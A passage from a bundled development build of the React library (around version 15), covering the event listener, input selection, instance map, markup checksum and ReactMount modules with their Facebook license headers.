`EventConstants`.\n   * @param {string} handlerBaseName Event name (e.g. \"click\").\n   * @param {object} handle Element on which to attach listener.\n   * @return {?object} An object with a remove function which will forcefully\n   *                  remove the listener.\n   * @internal\n   */\n  trapCapturedEvent: function (topLevelType, handlerBaseName, handle) {\n    var element = handle;\n    if (!element) {\n      return null;\n    }\n    return EventListener.capture(element, handlerBaseName, ReactEventListener.dispatchEvent.bind(null, topLevelType));\n  },\n\n  monitorScrollValue: function (refresh) {\n    var callback = scrollValueMonitor.bind(null, refresh);\n    EventListener.listen(window, 'scroll', callback);\n  },\n\n  dispatchEvent: function (topLevelType, nativeEvent) {\n    if (!ReactEventListener._enabled) {\n      return;\n    }\n\n    var bookKeeping = TopLevelCallbackBookKeeping.getPooled(topLevelType, nativeEvent);\n    try {\n      // Event queue being processed in the same cycle allows\n      // `preventDefault`.\n      ReactUpdates.batchedUpdates(handleTopLevelImpl, bookKeeping);\n    } finally {\n      TopLevelCallbackBookKeeping.release(bookKeeping);\n    }\n  }\n};\n\nmodule.exports = ReactEventListener;\n},{\"126\":126,\"143\":143,\"144\":144,\"155\":155,\"169\":169,\"25\":25,\"40\":40,\"94\":94}],68:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactFeatureFlags\n */\n\n'use strict';\n\nvar ReactFeatureFlags = {\n  // When true, call console.time() before and .timeEnd() after each top-level\n  // render (both initial renders and updates). Useful when looking at prod-mode\n  // timeline profiles in Chrome, for example.\n  logTopLevelRenders: false\n};\n\nmodule.exports = ReactFeatureFlags;\n},{}],69:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactInjection\n */\n\n'use strict';\n\nvar DOMProperty = _dereq_(10);\nvar EventPluginHub = _dereq_(17);\nvar EventPluginUtils = _dereq_(19);\nvar ReactComponentEnvironment = _dereq_(33);\nvar ReactClass = _dereq_(30);\nvar ReactEmptyComponent = _dereq_(64);\nvar ReactBrowserEventEmitter = _dereq_(27);\nvar ReactNativeComponent = _dereq_(78);\nvar ReactPerf = _dereq_(82);\nvar ReactUpdates = _dereq_(94);\n\nvar ReactInjection = {\n  Component: ReactComponentEnvironment.injection,\n  Class: ReactClass.injection,\n  DOMProperty: DOMProperty.injection,\n  EmptyComponent: ReactEmptyComponent.injection,\n  EventPluginHub: EventPluginHub.injection,\n  EventPluginUtils: EventPluginUtils.injection,\n  EventEmitter: ReactBrowserEventEmitter.injection,\n  NativeComponent: ReactNativeComponent.injection,\n  Perf: ReactPerf.injection,\n  Updates: ReactUpdates.injection\n};\n\nmodule.exports = ReactInjection;\n},{\"10\":10,\"17\":17,\"19\":19,\"27\":27,\"30\":30,\"33\":33,\"64\":64,\"78\":78,\"82\":82,\"94\":94}],70:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactInputSelection\n */\n\n'use strict';\n\nvar ReactDOMSelection = _dereq_(51);\n\nvar containsNode = _dereq_(147);\nvar focusNode = _dereq_(152);\nvar getActiveElement = _dereq_(153);\n\nfunction isInDocument(node) {\n  return containsNode(document.documentElement, node);\n}\n\n/**\n * @ReactInputSelection: React input selection module. Based on Selection.js,\n * but modified to be suitable for react and has a couple of bug fixes (doesn't\n * assume buttons have range selections allowed).\n * Input selection module for React.\n */\nvar ReactInputSelection = {\n\n  hasSelectionCapabilities: function (elem) {\n    var nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();\n    return nodeName && (nodeName === 'input' && elem.type === 'text' || nodeName === 'textarea' || elem.contentEditable === 'true');\n  },\n\n  getSelectionInformation: function () {\n    var focusedElem = getActiveElement();\n    return {\n      focusedElem: focusedElem,\n      selectionRange: ReactInputSelection.hasSelectionCapabilities(focusedElem) ? ReactInputSelection.getSelection(focusedElem) : null\n    };\n  },\n\n  /**\n   * @restoreSelection: If any selection information was potentially lost,\n   * restore it. This is useful when performing operations that could remove dom\n   * nodes and place them back in, resulting in focus being lost.\n   */\n  restoreSelection: function (priorSelectionInformation) {\n    var curFocusedElem = getActiveElement();\n    var priorFocusedElem = priorSelectionInformation.focusedElem;\n    var priorSelectionRange = priorSelectionInformation.selectionRange;\n    if (curFocusedElem !== priorFocusedElem && isInDocument(priorFocusedElem)) {\n      if (ReactInputSelection.hasSelectionCapabilities(priorFocusedElem)) {\n        ReactInputSelection.setSelection(priorFocusedElem, priorSelectionRange);\n      }\n      focusNode(priorFocusedElem);\n    }\n  },\n\n  /**\n   * @getSelection: Gets the selection bounds of a focused textarea, input or\n   * contentEditable node.\n   * -@input: Look up selection bounds of this input\n   * -@return {start: selectionStart, end: selectionEnd}\n   */\n  getSelection: function (input) {\n    var selection;\n\n    if ('selectionStart' in input) {\n      // Modern browser with input or textarea.\n      selection = {\n        start: input.selectionStart,\n        end: input.selectionEnd\n      };\n    } else if (document.selection && input.nodeName && input.nodeName.toLowerCase() === 'input') {\n      // IE8 input.\n      var range = document.selection.createRange();\n      // There can only be one selection per document in IE, so it must\n      // be in our element.\n      if (range.parentElement() === input) {\n        selection = {\n          start: -range.moveStart('character', -input.value.length),\n          end: -range.moveEnd('character', -input.value.length)\n        };\n      }\n    } else {\n      // Content editable or old IE textarea.\n      selection = ReactDOMSelection.getOffsets(input);\n    }\n\n    return selection || { start: 0, end: 0 };\n  },\n\n  /**\n   * @setSelection: Sets the selection bounds of a textarea or input and focuses\n   * the input.\n   * -@input     Set selection bounds of this input or textarea\n   * -@offsets   Object of same form that is returned from get*\n   */\n  setSelection: function (input, offsets) {\n    var start = offsets.start;\n    var end = offsets.end;\n    if (end === undefined) {\n      end = start;\n    }\n\n    if ('selectionStart' in input) {\n      input.selectionStart = start;\n      input.selectionEnd = Math.min(end, input.value.length);\n    } else if (document.selection && input.nodeName && input.nodeName.toLowerCase() === 'input') {\n      var range = input.createTextRange();\n      range.collapse(true);\n      range.moveStart('character', start);\n      range.moveEnd('character', end - start);\n      range.select();\n    } else {\n      ReactDOMSelection.setOffsets(input, offsets);\n    }\n  }\n};\n\nmodule.exports = ReactInputSelection;\n},{\"147\":147,\"152\":152,\"153\":153,\"51\":51}],71:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactInstanceMap\n */\n\n'use strict';\n\n/**\n * `ReactInstanceMap` maintains a mapping from a public facing stateful\n * instance (key) and the internal representation (value). This allows public\n * methods to accept the user facing instance as an argument and map them back\n * to internal methods.\n */\n\n// TODO: Replace this with ES6: var ReactInstanceMap = new Map();\n\nvar ReactInstanceMap = {\n\n  /**\n   * This API should be called `delete` but we'd have to make sure to always\n   * transform these to strings for IE support. When this transform is fully\n   * supported we can rename it.\n   */\n  remove: function (key) {\n    key._reactInternalInstance = undefined;\n  },\n\n  get: function (key) {\n    return key._reactInternalInstance;\n  },\n\n  has: function (key) {\n    return key._reactInternalInstance !== undefined;\n  },\n\n  set: function (key, value) {\n    key._reactInternalInstance = value;\n  }\n\n};\n\nmodule.exports = ReactInstanceMap;\n},{}],72:[function(_dereq_,module,exports){\n/**\n * Copyright 2016-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactInstrumentation\n */\n\n'use strict';\n\nvar ReactDebugTool = _dereq_(57);\n\nmodule.exports = { debugTool: ReactDebugTool };\n},{\"57\":57}],73:[function(_dereq_,module,exports){\n/**\n * Copyright 2016-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactInvalidSetStateWarningDevTool\n */\n\n'use strict';\n\nvar warning = _dereq_(168);\n\nif (\"development\" !== 'production') {\n  var processingChildContext = false;\n\n  var warnInvalidSetState = function () {\n    \"development\" !== 'production' ? warning(!processingChildContext, 'setState(...): Cannot call setState() inside getChildContext()') : void 0;\n  };\n}\n\nvar ReactInvalidSetStateWarningDevTool = {\n  onBeginProcessingChildContext: function () {\n    processingChildContext = true;\n  },\n  onEndProcessingChildContext: function () {\n    processingChildContext = false;\n  },\n  onSetState: function () {\n    warnInvalidSetState();\n  }\n};\n\nmodule.exports = ReactInvalidSetStateWarningDevTool;\n},{\"168\":168}],74:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactMarkupChecksum\n */\n\n'use strict';\n\nvar adler32 = _dereq_(115);\n\nvar TAG_END = /\\/?>/;\nvar COMMENT_START = /^<\\!\\-\\-/;\n\nvar ReactMarkupChecksum = {\n  CHECKSUM_ATTR_NAME: 'data-react-checksum',\n\n  /**\n   * @param {string} markup Markup string\n   * @return {string} Markup string with checksum attribute attached\n   */\n  addChecksumToMarkup: function (markup) {\n    var checksum = adler32(markup);\n\n    // Add checksum (handle both parent tags, comments and self-closing tags)\n    if (COMMENT_START.test(markup)) {\n      return markup;\n    } else {\n      return markup.replace(TAG_END, ' ' + ReactMarkupChecksum.CHECKSUM_ATTR_NAME + '=\"' + checksum + '\"$&');\n    }\n  },\n\n  /**\n   * @param {string} markup to use\n   * @param {DOMElement} element root React element\n   * @returns {boolean} whether or not the markup is the same\n   */\n  canReuseMarkup: function (markup, element) {\n    var existingChecksum = element.getAttribute(ReactMarkupChecksum.CHECKSUM_ATTR_NAME);\n    existingChecksum = existingChecksum && parseInt(existingChecksum, 10);\n    var markupChecksum = adler32(markup);\n    return markupChecksum === existingChecksum;\n  }\n};\n\nmodule.exports = ReactMarkupChecksum;\n},{\"115\":115}],75:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactMount\n */\n\n'use strict';\n\nvar DOMLazyTree = _dereq_(8);\nvar DOMProperty = _dereq_(10);\nvar ReactBrowserEventEmitter = _dereq_(27);\nvar ReactCurrentOwner = _dereq_(35);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactDOMContainerInfo = _dereq_(41);\nvar ReactDOMFeatureFlags = _dereq_(45);\nvar ReactElement = _dereq_(62);\nvar ReactFeatureFlags = _dereq_(68);\nvar ReactInstrumentation = _dereq_(72);\nvar ReactMarkupChecksum = _dereq_(74);\nvar ReactPerf = _dereq_(82);\nvar ReactReconciler = _dereq_(87);\nvar ReactUpdateQueue = _dereq_(93);\nvar ReactUpdates = _dereq_(94);\n\nvar emptyObject = _dereq_(151);\nvar instantiateReactComponent = _dereq_(132);\nvar invariant = _dereq_(158);\nvar setInnerHTML = _dereq_(138);\nvar shouldUpdateReactComponent = _dereq_(140);\nvar warning = _dereq_(168);\n\nvar ATTR_NAME = DOMProperty.ID_ATTRIBUTE_NAME;\nvar ROOT_ATTR_NAME = DOMProperty.ROOT_ATTRIBUTE_NAME;\n\nvar ELEMENT_NODE_TYPE = 1;\nvar DOC_NODE_TYPE = 9;\nvar DOCUMENT_FRAGMENT_NODE_TYPE = 11;\n\nvar instancesByReactRootID = {};\n\n/**\n * Finds the index of the first character\n * that's not common between the two given strings.\n *\n * @return {number} the index of the character where the strings diverge\n */\nfunction firstDifferenceIndex(string1, string2) {\n  var minLen = Math.min(string1.length, string2.length);\n  for (var i = 0; i < minLen; i++) {\n    if (string1.charAt(i) !== string2.charAt(i)) {\n      return i;\n    }\n  }\n  return string1.length === string2.length ? -1 : minLen;\n}\n\n/**\n * @param {DOMElement|DOMDocument} container DOM element that may contain\n * a React component\n * @return {?*} DOM element that may have the reactRoot ID, or null.\n */\nfunction getReactRootElementInContainer(container) {\n  if (!container) {\n    return null;\n  }\n\n  if (container.nodeType === DOC_NODE_TYPE) {\n    return container.documentElement;\n  } else {\n    return container.firstChild;\n  }\n}\n\nfunction internalGetID(node) {\n  // If node is something like a window, document, or text node, none of\n  // which support attributes or a .getAttribute method, gracefully return\n  // the empty string, as if the attribute were missing.\n  return node.getAttribute && node.getAttribute(ATTR_NAME) || '';\n}\n\n/**\n * Mounts this component and inserts it into the DOM.\n *\n * @param {ReactComponent} componentInstance The instance to mount.\n * @param {DOMElement} container DOM element to mount into.\n * @param {ReactReconcileTransaction} transaction\n * @param {boolean} shouldReuseMarkup If true, do not insert markup\n */\nfunction mountComponentIntoNode(wrapperInstance, container, transaction, shouldReuseMarkup, context) {\n  var markerName;\n  if (ReactFeatureFlags.logTopLevelRenders) {\n    var wrappedElement = wrapperInstance._currentElement.props;\n    var type = wrappedElement.type;\n    markerName = 'React mount: ' + (typeof type === 'string' ? type : type.displayName || type.name);\n    console.time(markerName);\n  }\n\n  var markup = ReactReconciler.mountComponent(wrapperInstance, transaction, null, ReactDOMContainerInfo(wrapperInstance, container), context);\n\n  if (markerName) {\n    console.timeEnd(markerName);\n  }\n\n  wrapperInstance._renderedComponent._topLevelWrapper = wrapperInstance;\n  ReactMount._mountImageIntoNode(markup, container, wrapperInstance, shouldReuseMarkup, transaction);\n}\n\n/**\n * Batched mount.\n *\n * @param {ReactComponent} componentInstance The instance to mount.\n * @param {DOMElement} container DOM element to mount into.\n * @param {boolean} shouldReuseMarkup If true, do not insert markup\n */\nfunction batchedMountComponentIntoNode(componentInstance, container, shouldReuseMarkup, context) {\n  var transaction = ReactUpdates.ReactReconcileTransaction.getPooled(\n  /* useCreateElement */\n  !shouldReuseMarkup && ReactDOMFeatureFlags.useCreateElement);\n  transaction.perform(mountComponentIntoNode, null, componentInstance, container, transaction, shouldReuseMarkup, context);\n  ReactUpdates.ReactReconcileTransaction.release(transaction);\n}\n\n/**\n * Unmounts a component and removes it from the DOM.\n *\n * @param {ReactComponent} instance React component instance.\n * @param {DOMElement} container DOM element to unmount from.\n * @final\n * @internal\n * @see {ReactMount.unmountComponentAtNode}\n */\nfunction unmountComponentFromNode(instance, container, safely) {\n  ReactReconciler.unmountComponent(instance, safely);\n\n  if (container.nodeType === DOC_NODE_TYPE) {\n    container = container.documentElement;\n  }\n\n  // http://jsperf.com/emptying-a-node\n  while (container.lastChild) {\n    container.removeChild(container.lastChild);\n  }\n}\n\n/**\n * True if the supplied DOM node has a direct React-rendered child that is\n * not a React root element. Useful for warning in `render`,\n * `unmountComponentAtNode`, etc.\n *\n * @param {?DOMElement} node The candidate DOM node.\n * @return {boolean} True if the DOM element contains a direct child that was\n * rendered by React but is not a root element.\n * @internal\n */\nfunction hasNonRootReactChild(container) {\n  var rootEl = getReactRootElementInContainer(container);\n  if (rootEl) {\n    var inst = ReactDOMComponentTree.getInstanceFromNode(rootEl);\n    return !!(inst && inst._nativeParent);\n  }\n}\n\nfunction getNativeRootInstanceInContainer(container) {\n  var rootEl = getReactRootElementInContainer(container);\n  var prevNativeInstance = rootEl && ReactDOMComponentTree.getInstanceFromNode(rootEl);\n  return prevNativeInstance && !prevNativeInstance._nativeParent ? prevNativeInstance : null;\n}\n\nfunction getTopLevelWrapperInContainer(container) {\n  var root = getNativeRootInstanceInContainer(container);\n  return root ? root._nativeContainerInfo._topLevelWrapper : null;\n}\n\n/**\n * Temporary (?) hack so that we can store all top-level pending updates on\n * composites instead of having to worry about different types of components\n * here.\n */\nvar topLevelRootCounter = 1;\nvar TopLevelWrapper = function () {\n  this.rootID = topLevelRootCounter++;\n};\nTopLevelWrapper.prototype.isReactComponent = {};\nif (\"development\" !== 'production') {\n  TopLevelWrapper.displayName = 'TopLevelWrapper';\n}\nTopLevelWrapper.prototype.render = function () {\n  // this.props is actually a ReactElement\n  return this.props;\n};\n\n/**\n * Mounting is the process of initializing a React component by creating its\n * representative DOM elements and inserting them into a supplied `container`.\n * Any prior content inside `container` is destroyed in the process.\n *\n *   ReactMount.render(\n *     component,\n *     document.getElementById('container')\n *   );\n *\n *   <div id=\"container\">                   <-- Supplied `container`.\n *     <div data-reactid=\".3\">              <-- Rendered reactRoot of React\n *       // ...                                 component.\n *     </div>\n *   </div>\n *\n * Inside of `container`, the first element rendered is the \"reactRoot\".\n */\nvar ReactMount = {\n\n  TopLevelWrapper: TopLevelWrapper,\n\n  /**\n   * Used by devtools. The keys are not important.\n   */\n  _instancesByReactRootID: instancesByReactRootID,\n\n  /**\n   * This is a hook provided to support rendering React components while\n   * ensuring that the apparent scroll position of its `container` does not\n   * change.\n   *\n   * @param {DOMElement} container The `container` being rendered into.\n   * @param {function} renderCallback This must be called once to do the render.\n   */\n  scrollMonitor: function (container, renderCallback) {\n    renderCallback();\n  },\n\n  /**\n   * Take a component that's already mounted into the DOM and replace its props\n   * @param {ReactComponent} prevComponent component instance already in the DOM\n   * @param {ReactElement} nextElement component instance to render\n   * @param {DOMElement} container container to render into\n   * @param {?function} callback function triggered on completion\n   */\n  _updateRootComponent: function (prevComponent, nextElement, container, callback) {\n    ReactMount.scrollMonitor(container, function () {\n      ReactUpdateQueue.enqueueElementInternal(prevComponent, nextElement);\n      if (callback) {\n        ReactUpdateQueue.enqueueCallbackInternal(prevComponent, callback);\n      }\n    });\n\n    return prevComponent;\n  },\n\n  /**\n   * Render a new component into the DOM. Hooked by devtools!\n   *\n   * @param {ReactElement} nextElement element to render\n   * @param {DOMElement} container container to render into\n   * @param {boolean} shouldReuseMarkup if we should skip the markup insertion\n   * @return {ReactComponent} nextComponent\n   */\n  _renderNewRootComponent: function (nextElement, container, shouldReuseMarkup, context) {\n    // Various parts of our code (such as ReactCompositeComponent's\n    // _renderValidatedComponent) assume that calls to render aren't nested;\n    // verify that that's the case.\n    \"development\" !== 'production' ? warning(ReactCurrentOwner.current == null, '_renderNewRootComponent(): Render methods should be a pure function ' + 'of props and state; triggering nested component updates from ' + 'render is not allowed. If necessary, trigger nested updates in ' + 'componentDidUpdate. Check the render method of %s.', ReactCurrentOwner.current && ReactCurrentOwner.current.getName() || 'ReactCompositeComponent') : void 0;\n\n    !(container && (container.nodeType === ELEMENT_NODE_TYPE || container.nodeType === DOC_NODE_TYPE || container.nodeType === DOCUMENT_FRAGMENT_NODE_TYPE)) ? \"development\" !== 'production' ? invariant(false, '_registerComponent(...): Target container is not a DOM element.') : invariant(false) : void 0;\n\n    ReactBrowserEventEmitter.ensureScrollValueMonitoring();\n    var componentInstance = instantiateReactComponent(nextElement);\n\n    // The initial render is synchronous but any updates that happen during\n    // rendering, in componentWillMount or componentDidMount, will be batched\n    // according to the current batching strategy.\n\n    ReactUpdates.batchedUpdates(batchedMountComponentIntoNode, componentInstance, container, shouldReuseMarkup, context);\n\n    var wrapperID = componentInstance._instance.rootID;\n    instancesByReactRootID[wrapperID] = componentInstance;\n\n    if (\"development\" !== 'production') {\n      ReactInstrumentation.debugTool.onMountRootComponent(componentInstance);\n    }\n\n    return componentInstance;\n  },\n\n  /**\n   * Renders a React component into the DOM in the supplied `container`.\n   *\n   * If the React component was previously rendered into `container`, this will\n   * perform an update on it and only mutate the DOM as necessary to reflect the\n   * latest React component.\n   *\n   * @param {ReactComponent} parentComponent The conceptual parent of this render tree.\n   * @param {ReactElement} nextElement Component element to render.\n   * @param {DOMElement} container DOM element to render into.\n   * @param {?function} callback function triggered on completion\n   * @return {ReactComponent} Component instance rendered in `container`.\n   */\n  renderSubtreeIntoContainer: function (parentComponent, nextElement, container, callback) {\n    !(parentComponent != null && parentComponent._reactInternalInstance != null) ? \"development\" !== 'production' ? invariant(false, 'parentComponent must be a valid React Component') : invariant(false) : void 0;\n    return ReactMount._renderSubtreeIntoContainer(parentComponent, nextElement, container, callback);\n  },\n\n  _renderSubtreeIntoContainer: function (parentComponent, nextElement, container, callback) {\n    ReactUpdateQueue.validateCallback(callback, 'ReactDOM.render');\n    !ReactElement.isValidElement(nextElement) ? \"development\" !== 'production' ? invariant(false, 'ReactDOM.render(): Invalid component element.%s', typeof nextElement === 'string' ? ' Instead of passing a string like \\'div\\', pass ' + 'React.createElement(\\'div\\') or <div />.' : typeof nextElement === 'function' ? ' Instead of passing a class like Foo, pass ' + 'React.createElement(Foo) or <Foo />.' :\n    // Check if it quacks like an element\n    nextElement != null && nextElement.props !== undefined ? ' This may be caused by unintentionally loading two independent ' + 'copies of React.' : '') : invariant(false) : void 0;\n\n    \"development\" !== 'production' ? warning(!container || !container.tagName || container.tagName.toUpperCase() !== 'BODY', 'render(): Rendering components directly into document.body is ' + 'discouraged, since its children are often manipulated by third-party ' + 'scripts and browser extensions. This may lead to subtle ' + 'reconciliation issues. Try rendering into a container element created ' + 'for your app.') : void 0;\n\n    var nextWrappedElement = ReactElement(TopLevelWrapper, null, null, null, null, null, nextElement);\n\n    var prevComponent = getTopLevelWrapperInContainer(container);\n\n    if (prevComponent) {\n      var prevWrappedElement = prevComponent._currentElement;\n      var prevElement = prevWrappedElement.props;\n      if (shouldUpdateReactComponent(prevElement, nextElement)) {\n        var publicInst = prevComponent._renderedComponent.getPublicInstance();\n        var updatedCallback = callback && function () {\n          callback.call(publicInst);\n        };\n        ReactMount._updateRootComponent(prevComponent, nextWrappedElement, container, updatedCallback);\n        return publicInst;\n      } else {\n        ReactMount.unmountComponentAtNode(container);\n      }\n    }\n\n    var reactRootElement = getReactRootElementInContainer(container);\n    var containerHasReactMarkup = reactRootElement && !!internalGetID(reactRootElement);\n    var containerHasNonRootReactChild = hasNonRootReactChild(container);\n\n    if (\"development\" !== 'production') {\n      \"development\" !== 'production' ? warning(!containerHasNonRootReactChild, 'render(...): Replacing React-rendered children with a new root ' + 'component. If you intended to update the children of this node, ' + 'you should instead have the existing children update their state ' + 'and render the new components instead of calling ReactDOM.render.') : void 0;\n\n      if (!containerHasReactMarkup || reactRootElement.nextSibling) {\n        var rootElementSibling = reactRootElement;\n        while (rootElementSibling) {\n          if (internalGetID(rootElementSibling)) {\n            \"development\" !== 'production' ? warning(false, 'render(): Target node has markup rendered by React, but there ' + 'are unrelated nodes as well. This is most commonly caused by ' + 'white-space inserted around server-rendered markup.') : void 0;\n            break;\n          }\n          rootElementSibling = rootElementSibling.nextSibling;\n        }\n      }\n    }\n\n    var shouldReuseMarkup = containerHasReactMarkup && !prevComponent && !containerHasNonRootReactChild;\n    var component = ReactMount._renderNewRootComponent(nextWrappedElement, container, shouldReuseMarkup, parentComponent != null ? parentComponent._reactInternalInstance._processChildContext(parentComponent._reactInternalInstance._context) : emptyObject)._renderedComponent.getPublicInstance();\n    if (callback) {\n      callback.call(component);\n    }\n    return component;\n  },\n\n  /**\n   * Renders a React component into the DOM in the supplied `container`.\n   *\n   * If the React component was previously rendered into `container`, this will\n   * perform an update on it and only mutate the DOM as necessary to reflect the\n   * latest React component.\n   *\n   * @param {ReactElement} nextElement Component element to render.\n   * @param {DOMElement} container DOM element to render into.\n   * @param {?function} callback function triggered on completion\n   * @return {ReactComponent} Component instance rendered in `container`.\n   */\n  render: function (nextElement, container, callback) {\n    return ReactMount._renderSubtreeIntoContainer(null, nextElement, container, callback);\n  },\n\n  /**\n   * Unmounts and destroys the React component rendered in the `container`.\n   *\n   * @param {DOMElement} container DOM element containing a React component.\n   * @return {boolean} True if a component was found in and unmounted from\n   *                   `container`\n   */\n  unmountComponentAtNode: function (container) {\n    // Various parts of our code (such as ReactCompositeComponent's\n    // _renderValidatedComponent) assume that calls to render aren't nested;\n    // verify that that's the case. (Strictly speaking, unmounting won't cause a\n    // render but we still don't expect to be in a render call here.)\n    \"development\" !== 'production' ? warning(ReactCurrentOwner.current == null, 'unmountComponentAtNode(): Render methods should be a pure function ' + 'of props and state; triggering nested component updates from render ' + 'is not allowed. If necessary, trigger nested updates in ' + 'componentDidUpdate. Check the render method of %s.', ReactCurrentOwner.current && ReactCurrentOwner.current.getName() || 'ReactCompositeComponent') : void 0;\n\n    !(container && (container.nodeType === ELEMENT_NODE_TYPE || container.nodeType === DOC_NODE_TYPE || container.nodeType === DOCUMENT_FRAGMENT_NODE_TYPE)) ? \"development\" !== 'production' ? invariant(false, 'unmountComponentAtNode(...): Target container is not a DOM element.') : invariant(false) : void 0;\n\n    var prevComponent = getTopLevelWrapperInContainer(container);\n    if (!prevComponent) {\n      // Check if the node being unmounted was rendered by React, but isn't a\n      // root node.\n      var containerHasNonRootReactChild = hasNonRootReactChild(container);\n\n      // Check if the container itself is a React root node.\n      var isContainerReactRoot = container.nodeType === 1 && container.hasAttribute(ROOT_ATTR_NAME);\n\n      if (\"development\" !== 'production') {\n        \"development\" !== 'production' ? warning(!containerHasNonRootReactChild, 'unmountComponentAtNode(): The node you\\'re attempting to unmount ' + 'was rendered by React and is not a top-level container. %s', isContainerReactRoot ? 'You may have accidentally passed in a React root node instead ' + 'of its container.' : 'Instead, have the parent component update its state and ' + 'rerender in order to remove this component.') : void 0;\n      }\n\n      return false;\n    }\n    delete instancesByReactRootID[prevComponent._instance.rootID];\n    ReactUpdates.batchedUpdates(unmountComponentFromNode, prevComponent, container, false);\n    return true;\n  },\n\n  _mountImageIntoNode: function (markup, container, instance, shouldReuseMarkup, transaction) {\n    !(container && (container.nodeType === ELEMENT_NODE_TYPE || container.nodeType === DOC_NODE_TYPE || container.nodeType === DOCUMENT_FRAGMENT_NODE_TYPE)) ? \"development\" !== 'production' ? invariant(false, 'mountComponentIntoNode(...): Target container is not valid.') : invariant(false) : void 0;\n\n    if (shouldReuseMarkup) {\n      var rootElement = getReactRootElementInContainer(container);\n      if (ReactMarkupChecksum.canReuseMarkup(markup, rootElement)) {\n        ReactDOMComponentTree.precacheNode(instance, rootElement);\n        return;\n      } else {\n        var checksum = rootElement.getAttribute(ReactMarkupChecksum.CHECKSUM_ATTR_NAME);\n        rootElement.removeAttribute(ReactMarkupChecksum.CHECKSUM_ATTR_NAME);\n\n        var rootMarkup = rootElement.outerHTML;\n        rootElement.setAttribute(ReactMarkupChecksum.CHECKSUM_ATTR_NAME, checksum);\n\n        var normalizedMarkup = markup;\n        if (\"development\" !== 'production') {\n          // because rootMarkup is retrieved from the DOM, various normalizations\n          // will have occurred which will not be present in `markup`. Here,\n          // insert markup into a <div> or <iframe> depending on the container\n          // type to perform the same normalizations before comparing.\n          var normalizer;\n          if (container.nodeType === ELEMENT_NODE_TYPE) {\n            normalizer = document.createElement('div');\n            normalizer.innerHTML = markup;\n            normalizedMarkup = normalizer.innerHTML;\n          } else {\n            normalizer = document.createElement('iframe');\n            document.body.appendChild(normalizer);\n            normalizer.contentDocument.write(markup);\n            normalizedMarkup = normalizer.contentDocument.documentElement.outerHTML;\n            document.body.removeChild(normalizer);\n          }\n        }\n\n        var diffIndex = firstDifferenceIndex(normalizedMarkup, rootMarkup);\n        var difference = ' (client) ' + normalizedMarkup.substring(diffIndex - 20, diffIndex + 20) + '\\n (server) ' + rootMarkup.substring(diffIndex - 20, diffIndex + 20);\n\n        !(container.nodeType !== DOC_NODE_TYPE) ? \"development\" !== 'production' ? invariant(false, 'You\\'re trying to render a component to the document using ' + 'server rendering but the checksum was invalid. This usually ' + 'means you rendered a different component type or props on ' + 'the client from the one on the server, or your render() ' + 'methods are impure. React cannot handle this case due to ' + 'cross-browser quirks by rendering at the document root. You ' + 'should look for environment dependent code in your components ' + 'and ensure the props are the same client and server side:\\n%s', difference) : invariant(false) : void 0;\n\n        if (\"development\" !== 'production') {\n          \"development\" !== 'production' ? warning(false, 'React attempted to reuse markup in a container but the ' + 'checksum was invalid. This generally means that you are ' + 'using server rendering and the markup generated on the ' + 'server was not what the client was expecting. React injected ' + 'new markup to compensate which works but you have lost many ' + 'of the benefits of server rendering. Instead, figure out ' + 'why the markup being generated is different on the client ' + 'or server:\\n%s', difference) : void 0;\n        }\n      }\n    }\n\n    !(container.nodeType !== DOC_NODE_TYPE) ? \"development\" !== 'production' ? invariant(false, 'You\\'re trying to render a component to the document but ' + 'you didn\\'t use server rendering. We can\\'t do this ' + 'without using server rendering due to cross-browser quirks. ' + 'See ReactDOMServer.renderToString() for server rendering.') : invariant(false) : void 0;\n\n    if (transaction.useCreateElement) {\n      while (container.lastChild) {\n        container.removeChild(container.lastChild);\n      }\n      DOMLazyTree.insertTreeBefore(container, markup, null);\n    } else {\n      setInnerHTML(container, markup);\n      ReactDOMComponentTree.precacheNode(instance, container.firstChild);\n    }\n  }\n};\n\nReactPerf.measureMethods(ReactMount, 'ReactMount', {\n  _renderNewRootComponent: '_renderNewRootComponent',\n  _mountImageIntoNode: '_mountImageIntoNode'\n});\n\nmodule.exports = ReactMount;\n},{\"10\":10,\"132\":132,\"138\":138,\"140\":140,\"151\":151,\"158\":158,\"168\":168,\"27\":27,\"35\":35,\"40\":40,\"41\":41,\"45\":45,\"62\":62,\"68\":68,\"72\":72,\"74\":74,\"8\":8,\"82\":82,\"87\":87,\"93\":93,\"94\":94}],76:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An 